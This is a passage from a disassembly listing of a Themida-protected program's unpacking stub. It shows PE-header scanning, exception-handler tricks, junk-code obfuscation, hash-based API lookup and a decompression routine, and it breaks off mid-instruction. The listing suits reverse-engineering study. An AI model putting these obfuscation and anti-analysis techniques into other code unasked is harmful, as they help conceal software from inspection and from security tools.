[edi-2148F0E7h] mov ecx, edx xor edi, edi loc_57D244: ; CODE XREF: Themida_:0057D25Fj cmp word ptr [eax], 5A4Dh jnz short loc_57D259 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_57D261 loc_57D259: ; CODE XREF: Themida_:0057D249j sub eax, 1000h inc edi jmp short loc_57D244 ; --------------------------------------------------------------------------- loc_57D261: ; CODE XREF: Themida_:0057D257j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+61538B1h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_57D29B mov esi, [eax+1Ch] loc_57D29B: ; CODE XREF: Themida_:0057D296j xor eax, eax loc_57D29D: ; CODE XREF: Themida_:0057D2B0j cmp eax, 32h jz short loc_57D2C1 cmp word ptr [esi], 5A4Dh jz short loc_57D2B2 loc_57D2A9: ; CODE XREF: Themida_:0057D2BFj sub esi, 10000h inc eax jmp short loc_57D29D ; --------------------------------------------------------------------------- loc_57D2B2: ; CODE XREF: Themida_:0057D2A7j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_57D303 jmp short loc_57D2A9 ; --------------------------------------------------------------------------- loc_57D2C1: ; CODE XREF: Themida_:0057D2A0j pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 61538BCh lea eax, [ebp+615387Ah] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_57D303: ; CODE XREF: Themida_:0057D2BDj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push esi call sub_57D319 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D319 proc near ; CODE XREF: Themida_:0057D311p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_57D319 endp ; --------------------------------------------------------------------------- db 22h, 2, 66h dd 0D780DE8Bh, 0D98C666Ch, 0AE850h, 466B0000h, 0AAF878F8h dd 22369F09h, 0CE9h, 9D96D00h, 251C06ECh, 0BC073C74h, 805B5B9Bh dd 816604E1h, 0ADE50CBh, 34850FC9h, 0F000000h, 85C7D9BFh dd 6152DB5h, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 9CC35747h, 0E9F820B6h, 0Fh, 0C7E0DB80h, 152DB585h dd 6, 89DE8B00h, 15168585h, 15A7BB06h, 85894F7Eh, 6152811h dd 0BE8h, 2B81D100h, 17432545h, 0A585F0A4h, 60CEB760h dd 8F0FF28Bh, 0 ; --------------------------------------------------------------------------- popa popa pop edx xor esi, 20DBE0F0h add edx, 6BFDh push 1ACDh jmp loc_57D3FF ; --------------------------------------------------------------------------- db 0F6h, 0FEh, 0B6h dd 0DEEAD682h, 373D1ED6h, 36307222h db 4Dh, 6, 0D3h ; --------------------------------------------------------------------------- loc_57D3FF: ; CODE XREF: Themida_:0057D3E8j pop eax pusha call near ptr loc_57D411+1 fdivr qword ptr [esi-72h] and esp, ebp fisub word ptr [eax] sub al, 95h pop ds xchg eax, ebp loc_57D411: ; CODE XREF: Themida_:0057D401p add [esi-75h], ah rcr byte ptr [esi+66h], 1 mov eax, ecx popa loc_57D41A: ; CODE XREF: Themida_:0057D482j mov ecx, [edx] sbb si, 107Eh xor ecx, 639294B7h mov si, 0ED68h sub ecx, 2789748Ah ; CODE XREF: Themida_:0057D474j mov bx, si add ecx, 58664DDAh pusha pusha jmp loc_57D44E ; --------------------------------------------------------------------------- mov ds, word ptr [ebx+6716CFE4h] rcr ch, 0F7h clc adc eax, ebp dec edi loc_57D44E: ; CODE XREF: Themida_:0057D43Cj popa mov ebx, ecx popa push ecx mov bx, 0FA80h pop dword ptr [edx] sub edx, 3 pusha mov ebx, esi and eax, 24C4EF19h popa dec edx call near ptr loc_57D47A+1 mov ds, word ptr es:[ecx+5C92AA93h] cdq loope near ptr loc_57D42B+3 repne in eax, dx pop es inc edi loc_57D47A: ; CODE XREF: Themida_:0057D467p out 0BFh, al ; Interrupt Controller #2, 8259A and eax, 5B708775h dec eax jnz loc_57D41A mov edi, edx call sub_57D4A3 jle short near ptr loc_57D48F+1 ; CODE XREF: Themida_:loc_57D48Fj db 3Eh xlat outsd push es in eax, dx rcl dword ptr [esi-16h], cl pop esi add byte ptr [ebx], 6Bh hlt ; --------------------------------------------------------------------------- dw 56E5h db 0E4h, 18h, 61h ; =============== S U B R O U T I N E ======================================= sub_57D4A3 proc near ; CODE XREF: Themida_:0057D48Ap mov edi, 7A7BE977h pop esi xor ch, 0E5h add esi, 6130h sub ecx, 0E0AFD4Ch mov edx, 181Ah mov edi, 14927026h loc_57D4C2: ; CODE XREF: Themida_:loc_57D54Aj push dword ptr [esi] pop eax jnb loc_57D4D0 mov ebx, 6E6CEBBFh loc_57D4D0: ; CODE XREF: sub_57D4A3+22j add eax, 4CF281BDh call near ptr loc_57D4EA+2 arpl ax, bx loopne near ptr loc_57D52E+1 sub eax, 0FFFFFFE6h test eax, 57F987A1h mov dl, 7Ah lodsd loc_57D4EA: ; CODE XREF: sub_57D4A3+33p and [bx+di+40F7h], eax sub_57D4A3 endp ; sp-analysis failed jecxz short near ptr loc_57D56B+1 jge short near ptr loc_57D54A+2 xor eax, 7A7DF2A2h sub eax, 9EE60BFh sub ebx, 0A8337B5h push eax mov bx, 97D1h pop dword ptr [esi] jg loc_57D518 pusha mov eax, ebx push edi pop eax popa loc_57D518: ; CODE XREF: Themida_:0057D50Cj sub esi, 4 jmp loc_57D525 ; --------------------------------------------------------------------------- dd 96112EDBh ; --------------------------------------------------------------------------- xlat loc_57D525: ; CODE XREF: Themida_:0057D51Bj sub edx, 1 jnz loc_57D54A loc_57D52E: ; CODE XREF: sub_57D4A3+3Aj add bh, 0B1h jmp loc_57D55B ; --------------------------------------------------------------------------- dw 59A2h dd 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh, 0CBC1997Ch db 87h, 73h ; --------------------------------------------------------------------------- loc_57D54A: ; CODE XREF: Themida_:0057D528j ; Themida_:0057D4F1j jmp loc_57D4C2 ; --------------------------------------------------------------------------- db 0CFh dd 4BBC5773h, 0F5E36963h db 41h, 0FEh, 0EFh ; --------------------------------------------------------------------------- loc_57D55B: ; CODE XREF: Themida_:0057D531j jmp short loc_57D561 ; --------------------------------------------------------------------------- db 1Bh, 2, 0 db 0 ; --------------------------------------------------------------------------- loc_57D561: ; CODE XREF: Themida_:loc_57D55Bj jmp loc_57DC6A ; --------------------------------------------------------------------------- cld ; =============== S U B R O U T I N E ======================================= sub_57D567 proc far ; DATA XREF: Themida_:0057A7ACo ; Themida_:0057AB74o var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 pusha pusha mov esi, ecx loc_57D56B: ; CODE XREF: Themida_:0057D4EFj jo loc_57D577 jbe $+6 loc_57D577: ; CODE XREF: sub_57D567:loc_57D56Bj popa mov eax, 0 jmp loc_57D588 ; --------------------------------------------------------------------------- dw 0FB4Eh dd 0E1BDC699h ; --------------------------------------------------------------------------- loc_57D588: ; CODE XREF: sub_57D567+16j mov edx, [esp+20h+arg_0] cld mov [ebp+6150A5Dh], eax pusha mov edi, 3FC3FB29h clc popa mov esi, 3Ch jmp loc_57D5AF ; --------------------------------------------------------------------------- db 0E5h, 0ADh, 18h ; --------------------------------------------------------------------------- mov al, 4Eh movsb stc xchg dh, ch xchg eax, esi loc_57D5AF: ; CODE XREF: sub_57D567+39j add esi, [esp+24h] jbe loc_57D5C5 jp loc_57D5C5 mov [ebp+61527E1h], esi loc_57D5C5: ; CODE XREF: sub_57D567+4Cj ; sub_57D567+52j lodsw mov [ebp+61518C5h], eax add eax, [esp+24h] mov [ebp+6152C51h], ebx push eax jz loc_57D5E2 pusha mov al, bl popa loc_57D5E2: ; CODE XREF: sub_57D567+71j mov [esp+24h+var_24], eax pusha push eax sub [ebp+61526F5h], edx pop edx mov edi, [ebp+6151459h] popa mov eax, [eax+78h] jmp loc_57D608 ; --------------------------------------------------------------------------- db 0BFh, 9Eh, 7Ah dd 7BEC6C01h, 1E448AE1h ; --------------------------------------------------------------------------- loc_57D608: ; CODE XREF: sub_57D567+91j add eax, [esp+28h] stc pusha mov ebx, [ebp+6150981h] movzx ebx, di popa mov eax, [eax+18h] mov [ebp+615098Dh], edx inc eax mov [ebp+6151099h], esi mov [ebp+6153B2Eh], eax cld pusha pusha mov di, 62CEh sbb cx, 0CB8Fh popa xor ebx, 337F0CB4h popa pop eax jge loc_57D64A clc loc_57D64A: ; CODE XREF: sub_57D567+DCj jmp loc_57D659 ; --------------------------------------------------------------------------- db 1Dh dd 0D84269D0h, 525D54E9h db 0DEh ; --------------------------------------------------------------------------- loc_57D659: ; CODE XREF: sub_57D567:loc_57D64Aj mov esi, [eax+78h] pusha xor edi, 11F5A098h or ecx, 563F61D2h popa add esi, 1Ch jmp loc_57D685 ; --------------------------------------------------------------------------- dw 0C141h dd 3EE04623h, 42C89BB2h, 0D53E0D41h, 91C95AC2h db 0E9h ; --------------------------------------------------------------------------- loc_57D685: ; CODE XREF: sub_57D567+106j add esi, [esp+24h] jmp loc_57D696 ; --------------------------------------------------------------------------- dw 0C69Eh dd 0D31BF1A4h db 44h, 81h ; --------------------------------------------------------------------------- loc_57D696: ; CODE XREF: sub_57D567+122j lea edi, [ebp+61521D9h] cld lodsd jns loc_57D6BA jmp loc_57D6BA ; --------------------------------------------------------------------------- db 0BBh, 0AEh, 0E0h dd 53678D6h, 0CD1E267Ah, 1EB2130Fh db 21h, 1Ch ; --------------------------------------------------------------------------- loc_57D6BA: ; CODE XREF: sub_57D567+137j ; sub_57D567+13Dj add eax, [esp+24h] jmp loc_57D6D1 ; --------------------------------------------------------------------------- db 0D3h dd 99DEB772h, 0BA1B9203h, 0C33C5073h db 8Dh ; --------------------------------------------------------------------------- loc_57D6D1: ; CODE XREF: sub_57D567+157j stosd stc jp loc_57D6E7 jmp loc_57D6E7 ; --------------------------------------------------------------------------- dw 8E69h dd 1E7A8D5Ah db 0F9h, 28h, 42h ; --------------------------------------------------------------------------- loc_57D6E7: ; CODE XREF: sub_57D567+16Cj ; sub_57D567+172j lea edi, [ebp+615186Dh] or [ebp+6151659h], esi lodsd pusha or [ebp+6150A61h], edi mov [ebp+6150929h], ebx popa add eax, [esp+24h] clc push eax jg loc_57D716 pusha jnz $+6 popa loc_57D716: ; CODE XREF: sub_57D567+1A1j mov [esp+24h+var_24], eax jmp loc_57D732 ; --------------------------------------------------------------------------- dw 5DFEh dd 718D5B44h, 0D9BBDD0h, 827FC900h, 0B3493F85h db 86h, 9Fh ; --------------------------------------------------------------------------- loc_57D732: ; CODE XREF: sub_57D567+1B2j stosd stc lea edi, [ebp+6153021h] cmc lodsd mov [ebp+6150A61h], ebx add eax, [esp+28h] pusha pusha mov [ebp+6151061h], edi jp $+6 popa mov esi, 2B0310F5h popa stosd jz loc_57D776 jmp loc_57D776 ; --------------------------------------------------------------------------- db 0DBh dd 0D31268D8h, 60E3FEEDh, 83397522h db 0A3h, 7Eh ; --------------------------------------------------------------------------- loc_57D776: ; CODE XREF: sub_57D567+1F5j ; sub_57D567+1FBj pop esi clc jmp loc_57D78A ; --------------------------------------------------------------------------- db 6Ch, 75h, 0E3h dd 4359F9A1h, 0A3210F2Bh db 94h, 36h ; --------------------------------------------------------------------------- loc_57D78A: ; CODE XREF: sub_57D567+211j ; sub_57D567+2AFj dec dword ptr [ebp+6153B2Eh] cmp dword ptr [ebp+6153B2Eh], 0 jnz short loc_57D7A9 mov [esp+20h+var_4], 0 lea esi, [ebp+615400Bh] jmp esi ; --------------------------------------------------------------------------- loc_57D7A9: ; CODE XREF: sub_57D567+230j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+61509C5h] test al, al jz short loc_57D7C0 cmp al, [edi] jnz short loc_57D80C loc_57D7C0: ; CODE XREF: sub_57D567+253j push edi xor al, al loc_57D7C3: ; CODE XREF: sub_57D567+25Dj scasb jnz short loc_57D7C3 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_57D7D0: ; CODE XREF: sub_57D567+292j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_57D7DF: ; CODE XREF: sub_57D567+28Bj shr bx, 1 rcr ax, 1 jnb short loc_57D7F0 xor ax, 5041h xor bx, 5449h loc_57D7F0: ; CODE XREF: sub_57D567+27Ej dec dh jnz short loc_57D7DF xor ecx, eax xor edx, ebx dec edi jnz short loc_57D7D0 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_57D81B loc_57D80C: ; CODE XREF: sub_57D567+257j pop esi add esi, 4 inc dword ptr [ebp+6150A5Dh] jmp loc_57D78A ; --------------------------------------------------------------------------- loc_57D81B: ; CODE XREF: sub_57D567+2A3j pop esi pusha mov esi, [ebp+6152959h] add esi, [ebp+6150681h] popa jge loc_57D83A pusha pusha popa xor esi, [ebp+6152ED5h] popa loc_57D83A: ; CODE XREF: sub_57D567+2C3j pusha mov ecx, edi pusha jmp loc_57D84F ; --------------------------------------------------------------------------- align 4 dd 77DA2B70h, 0EDF8014Eh db 45h, 0F7h, 70h ; --------------------------------------------------------------------------- loc_57D84F: ; CODE XREF: sub_57D567+2D7j call sub_57D865 xchg eax, edi in al, 4Bh retf sub_57D567 endp ; --------------------------------------------------------------------------- dd 0D9D3DE31h, 6E43C6C7h, 77992A81h db 0C7h ; =============== S U B R O U T I N E ======================================= sub_57D865 proc near ; CODE XREF: sub_57D567:loc_57D84Fp arg_5C = dword ptr 60h arg_64 = dword ptr 68h pop edx popa popa mov eax, [ebp+6150A5Dh] jbe loc_57D87A mov [ebp+6152809h], edx loc_57D87A: ; CODE XREF: sub_57D865+9j shl eax, 1 jmp loc_57D889 ; --------------------------------------------------------------------------- sbb ch, [ecx-0Ch] ror dword ptr [edi], cl cmp [ebp+5Bh], eax loc_57D889: ; CODE XREF: sub_57D865+17j add eax, [ebp+6153021h] cmc mov esi, 0 xor [ebp+61504BDh], edx xchg eax, esi ja loc_57D8A8 or [ebp+6152799h], edi loc_57D8A8: ; CODE XREF: sub_57D865+37j lodsw jbe loc_57D8B6 mov [ebp+6150D8Dh], esi loc_57D8B6: ; CODE XREF: sub_57D865+45j shl eax, 2 pusha mov [ebp+6152AF5h], ecx mov [ebp+61524A1h], esi popa add eax, [ebp+61521D9h] pusha jnp loc_57D8D8 mov dx, 762Eh loc_57D8D8: ; CODE XREF: sub_57D865+69j sub [ebp+6151E7Dh], eax popa xchg eax, esi jmp loc_57D8EF ; --------------------------------------------------------------------------- align 2 dw 0EBD1h dd 7A079A60h db 0A0h, 3Ah, 0DCh ; --------------------------------------------------------------------------- loc_57D8EF: ; CODE XREF: sub_57D865+7Bj lodsd jnp loc_57D8F7 cmc loc_57D8F7: ; CODE XREF: sub_57D865+8Bj mov ecx, [esp-44h+arg_64] mov [ebp+615301Dh], ebx add eax, [esp-44h+arg_64] jge loc_57D911 xor [ebp+6150CEDh], esi loc_57D911: ; CODE XREF: sub_57D865+A0j mov [esp-44h+arg_5C], eax or [ebp+615245Dh], edi pusha add [ebp+6150C65h], ebx mov ax, bx popa xchg eax, esi jmp loc_57D932 ; --------------------------------------------------------------------------- dd 3803DF8Dh db 0C2h, 1Fh ; --------------------------------------------------------------------------- loc_57D932: ; CODE XREF: sub_57D865+C2j lodsb ja loc_57D952 jb loc_57D952 jmp loc_57D952 ; --------------------------------------------------------------------------- dd 0DEB772D3h, 1B920399h, 3C5073BAh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 8Dh ; --------------------------------------------------------------------------- loc_57D952: ; CODE XREF: sub_57D865+CEj ; sub_57D865+D4j ... xor cl, cl mov [ebp+61504EDh], edi inc cl mov [ebp+6153371h], esi pusha jb loc_57D96A stc loc_57D96A: ; CODE XREF: sub_57D865+FEj call near ptr loc_57D974+6 mov al, ds:30D11746h loc_57D974: ; CODE XREF: sub_57D865:loc_57D96Ap fisttp word ptr [ecx-7649E80Bh] sub_57D865 endp ; sp-analysis failed popf lds esp, [eax] adc eax, 0D0615A06h ; CODE XREF: Themida_:0057D9D9j ror byte ptr [edi], 1 xor dword ptr [eax-77000000h], 0FFFFFF8Dh xchg eax, ecx sub eax, 81600615h out dx, eax rep call far ptr 75h:958B6D9Ch adc eax, 0D0D06106h jnb loc_57DA3A jmp loc_57D9B0 ; --------------------------------------------------------------------------- db 89h dd 77BBE307h ; --------------------------------------------------------------------------- loc_57D9B0: ; CODE XREF: Themida_:0057D9A6j rcl al, 1 jb loc_57DA3A mov [ebp+61505DDh], esi rcl al, 1 jb loc_57DA3A jp loc_57D9D7 jmp loc_57D9D7 ; --------------------------------------------------------------------------- align 2 dw 0A03Ah db 0FAh, 62h, 0BEh ; --------------------------------------------------------------------------- loc_57D9D7: ; CODE XREF: Themida_:0057D9C6j ; Themida_:0057D9CCj dec cl jns near ptr loc_57D97E+4 cld add esp, 20h jmp loc_57D9EF ; --------------------------------------------------------------------------- dd 44413BB4h db 0CFh, 76h, 3Ah ; --------------------------------------------------------------------------- loc_57D9EF: ; CODE XREF: Themida_:0057D9E3j sub [ebp+615301Dh], esi mov dword ptr [esp-4], 0 mov [ebp+6152109h], edi ja loc_57DA0F mov [ebp+6152F45h], edi loc_57DA0F: ; CODE XREF: Themida_:0057DA03j mov eax, 1 jbe loc_57DA26 jbe loc_57DA26 xor [ebp+615046Dh], esi loc_57DA26: ; CODE XREF: Themida_:0057DA14j ; Themida_:0057DA1Aj lea ecx, [ebp+615720Dh] mov [ebp+615023Dh], ecx jmp ecx ; --------------------------------------------------------------------------- mov [ebp+6150ADDh], edi loc_57DA3A: ; CODE XREF: Themida_:0057D9A0j ; Themida_:0057D9B2j ... mov byte ptr [ebp+61509C5h], 0 jmp loc_57DA4B ; --------------------------------------------------------------------------- dw 85F7h db 12h, 8Eh, 0CDh ; --------------------------------------------------------------------------- loc_57DA4B: ; CODE XREF: Themida_:0057DA41j popa add [ebp+6150669h], ebx retn 8 ; --------------------------------------------------------------------------- db 0F5h, 89h, 85h dd 615291Dh dword_57DA5C dd 12840F50h, 50000000h, 0F525052h, 0F585A31h, 0F525031h ; DATA XREF: Themida_:0057B3D4o dd 5A585A31h, 24348958h, 1315B589h, 0B5890615h, 615421Dh dd 308D89F5h, 9061542h, 152DE18Dh, 0C2B58D06h, 29061540h dd 152335B5h, 0E850F06h, 60000000h, 4018589h, 858B0615h dd 6151E81h, 0A1858D61h, 89005B8Eh, 152235BDh, 0FD0FF06h dd 18Fh, 605EF800h, 28C0Fh, 0D78A0000h, 2EC58D8Bh, 89610615h dd 1527759Dh, 8160C306h, 0EE7F21C8h, 6E949h, 0E7250000h dd 0B6837656h, 1DB58B61h, 89061542h, 1504BDBDh, 308D8B06h dd 9061542h, 1508DDB5h, 0B806h, 8D290000h, 6152CF5h, 8531D98Bh dd 6151E91h, 10AE9h, 8EBB6000h, 6065EEC0h, 727BBE66h, 26FD8D29h dd 61610615h, 9E92632h, 0A2000000h, 679504D0h, 49DD0A99h dd 0E9FC02B2h, 89h, 24B19589h, 0C2320615h, 10E9h, 5C539200h dd 82608308h, 0D39824D0h, 178EFCD3h, 0BF0F6049h, 2D41BFFAh dd 56117ADh, 8A751D7Ah, 18B58D29h, 0CC8A0615h, 2A5D8529h dd 0D3F80615h, 0E850FC8h, 60000000h, 175D8D09h, 858B0615h dd 6152F55h, 8423561h, 800F98D1h, 0Ch, 6860Fh, 0BD310000h dd 6150A45h, 7E9CAFEh, 3F000000h, 0F28A5F9Ch, 830FEA97h dd 0Dh, 8E9h, 0A917EE00h, 85DA0120h, 0FD20A07h, 0FFFF7585h dd 0AE9FFh, 1E40000h, 9505B3B6h, 68312D3Eh, 60FC8A60h dd 8A0Fh, 61610000h, 13E94Bh, 96EA0000h, 36BB74DAh, 6AC3A376h dd 2376B6CAh, 7737780Dh, 0F604625h, 68Ch, 22DF8100h, 605DFEE9h dd 891ADA80h, 152FFD8Dh, 0B616106h, 1850FDBh, 0E9FFFFFFh dd 8, 7A370505h, 0FCFCE970h, 6E9CFh, 5D350000h, 0F0A14809h dd 0FC0000h, 0BD896000h, 6151CA5h, 0A399523h, 610615h dd 0E5850900h, 61511h db 0, 0F9h ; --------------------------------------------------------------------------- loc_57DC6A: ; CODE XREF: Themida_:loc_57D561j lea eax, [ebp+6153B38h] jmp loc_57DC7F ; --------------------------------------------------------------------------- db 81h, 67h, 45h ; --------------------------------------------------------------------------- mov ecx, 0D4C496ECh fdivr dword ptr [ebx] loc_57DC7F: ; CODE XREF: Themida_:0057DC70j mov [ebp+6150D7Dh], eax add [ebp+6151765h], edx lea eax, [ebp+615402Dh] pusha mov eax, ecx adc di, 9DCh popa jmp loc_57DCAC ; --------------------------------------------------------------------------- db 0C9h dd 0D950F6C7h, 606EE056h, 755817C7h ; --------------------------------------------------------------------------- loc_57DCAC: ; CODE XREF: Themida_:0057DC9Aj mov [ebp+61519A5h], eax jmp short loc_57DCC8 ; --------------------------------------------------------------------------- dd 4 dup(0) dd 0E2h ; --------------------------------------------------------------------------- loc_57DCC8: ; CODE XREF: Themida_:0057DCB2j lea eax, [ebp+6154351h] mov [ebp+615281Dh], eax cmp dword ptr [ebp+6154291h], 0 jz loc_57DE0D mov byte ptr [ebp+61509C5h], 56h push 8B63565Ah add dword ptr [esp], 48BC16DFh push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax mov [ebp+6154285h], eax mov byte ptr [ebp+61509C5h], 56h push 0BA9045B1h xor dword ptr [esp], 2638FDE3h push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax mov [ebp+6154289h], eax push 4 call sub_57DD3A add [eax], dl ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_57DD3A proc near ; CODE XREF: Themida_:0057DD31p var_126 = dword ptr -126h var_11E = dword ptr -11Eh var_11A = dword ptr -11Ah var_116 = dword ptr -116h var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = dword ptr -10Ah var_106 = dword ptr -106h var_102 = dword ptr -102h var_FE = dword ptr -0FEh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_46 = dword ptr -46h var_42 = dword ptr -42h var_3E = dword ptr -3Eh var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_2A = dword ptr -2Ah var_26 = dword ptr -26h var_22 = dword ptr -22h var_1E = dword ptr -1Eh var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_12 = dword ptr -12h var_E = dword ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_6 = dword ptr 0Ah arg_A = dword ptr 0Eh arg_E = dword ptr 12h arg_12 = dword ptr 16h arg_16 = dword ptr 1Ah arg_1A = dword ptr 1Eh arg_1E = dword ptr 22h arg_22 = dword ptr 26h arg_26 = dword ptr 2Ah arg_2A = dword ptr 2Eh arg_2E = dword ptr 32h arg_32 = dword ptr 36h arg_38 = dword ptr 3Ch arg_33FB0015 = byte ptr 33FB0019h push eax mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax mov eax, [ebp+6154295h] add eax, 1F4h shl eax, 2 push eax mov [esp+4+var_4], eax push 0 call dword ptr [ebp+6154289h] mov [ebp+615428Dh], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+615281Dh] mov eax, ebx call dword ptr [ebp+615281Dh] jmp loc_57DE0D ; --------------------------------------------------------------------------- loc_57DD80: ; DATA XREF: Themida_:0057C24Co cmp dword ptr [ebp+6154291h], 0 jnz loc_57DD8E retn ; --------------------------------------------------------------------------- loc_57DD8E: ; CODE XREF: sub_57DD3A+4Dj push edi mov edi, [ebp+615428Dh] stosd add dword ptr [ebp+615428Dh], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6154291h], 0 jnz loc_57DDAD retn ; --------------------------------------------------------------------------- loc_57DDAD: ; CODE XREF: sub_57DD3A+6Cj pusha sub dword ptr [ebp+615428Dh], 4 loc_57DDB5: ; CODE XREF: sub_57DD3A:loc_57DE08j mov ebx, [ebp+615428Dh] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_57DDE2 push 8FDAB66Eh add [esp+2Ch+var_2E+2], 7025C992h push 0 push dword ptr [ebx] call dword ptr [ebp+6154285h] popa retn ; --------------------------------------------------------------------------- jmp loc_57DE08 ; --------------------------------------------------------------------------- loc_57DDE2: ; CODE XREF: sub_57DD3A+85j call near ptr loc_57DDE7+4 loc_57DDE7: ; CODE XREF: sub_57DD3A:loc_57DDE2p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+24h+var_22+2], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+6154285h] sub dword ptr [ebp+615428Dh], 4 loc_57DE08: ; CODE XREF: sub_57DD3A+A3j jmp loc_57DDB5 ; --------------------------------------------------------------------------- loc_57DE0D: ; CODE XREF: Themida_:0057DCDBj ; sub_57DD3A+41j dec eax jmp loc_57DFC0 ; --------------------------------------------------------------------------- pusha mov esi, [esp+28h+var_4] mov edi, [esp+28h] cld mov dl, 80h loc_57DE1F: ; CODE XREF: sub_57DD3A:loc_57DE37j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_57DE2A: ; CODE XREF: sub_57DD3A+17Bj ; sub_57DD3A+1E3j ... add dl, dl jnz loc_57DE37 mov dl, [esi] inc esi adc dl, dl loc_57DE37: ; CODE XREF: sub_57DD3A+F2j jnb loc_57DE1F add dl, dl jnz loc_57DE4A mov dl, [esi] inc esi adc dl, dl loc_57DE4A: ; CODE XREF: sub_57DD3A+105j jnb loc_57DEBA xor eax, eax add dl, dl jnz loc_57DE5F mov dl, [esi] inc esi adc dl, dl loc_57DE5F: ; CODE XREF: sub_57DD3A+11Aj jnb loc_57DF8F add dl, dl jnz loc_57DE72 mov dl, [esi] inc esi adc dl, dl loc_57DE72: ; CODE XREF: sub_57DD3A+12Dj adc eax, eax add dl, dl jnz loc_57DE81 mov dl, [esi] inc esi adc dl, dl loc_57DE81: ; CODE XREF: sub_57DD3A+13Cj adc eax, eax add dl, dl jnz loc_57DE90 mov dl, [esi] inc esi adc dl, dl loc_57DE90: ; CODE XREF: sub_57DD3A+14Bj adc eax, eax add dl, dl jnz loc_57DE9F mov dl, [esi] inc esi adc dl, dl loc_57DE9F: ; CODE XREF: sub_57DD3A+15Aj adc eax, eax jz loc_57DEAD push edi sub edi, eax mov al, [edi] pop edi loc_57DEAD: ; CODE XREF: sub_57DD3A+167j mov [edi], al inc edi mov ebx, 2 jmp loc_57DE2A ; --------------------------------------------------------------------------- loc_57DEBA: ; CODE XREF: sub_57DD3A:loc_57DE4Aj mov eax, 1 loc_57DEBF: ; CODE XREF: sub_57DD3A:loc_57DEDBj add dl, dl jnz loc_57DECC mov dl, [esi] inc esi adc dl, dl loc_57DECC: ; CODE XREF: sub_57DD3A+187j adc eax, eax add dl, dl jnz loc_57DEDB mov dl, [esi] inc esi adc dl, dl loc_57DEDB: ; CODE XREF: sub_57DD3A+196j jb loc_57DEBF sub eax, ebx mov ebx, 1 jnz loc_57DF22 mov ecx, 1 loc_57DEF3: ; CODE XREF: sub_57DD3A:loc_57DF0Fj add dl, dl jnz loc_57DF00 mov dl, [esi] inc esi adc dl, dl loc_57DF00: ; CODE XREF: sub_57DD3A+1BBj adc ecx, ecx add dl, dl jnz loc_57DF0F mov dl, [esi] inc esi adc dl, dl loc_57DF0F: ; CODE XREF: sub_57DD3A+1CAj jb loc_57DEF3 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_57DE2A ; --------------------------------------------------------------------------- loc_57DF22: ; CODE XREF: sub_57DD3A+1AEj dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_57DF30: ; CODE XREF: sub_57DD3A:loc_57DF4Cj add dl, dl jnz loc_57DF3D mov dl, [esi] inc esi adc dl, dl loc_57DF3D: ; CODE XREF: sub_57DD3A+1F8j adc ecx, ecx add dl, dl jnz 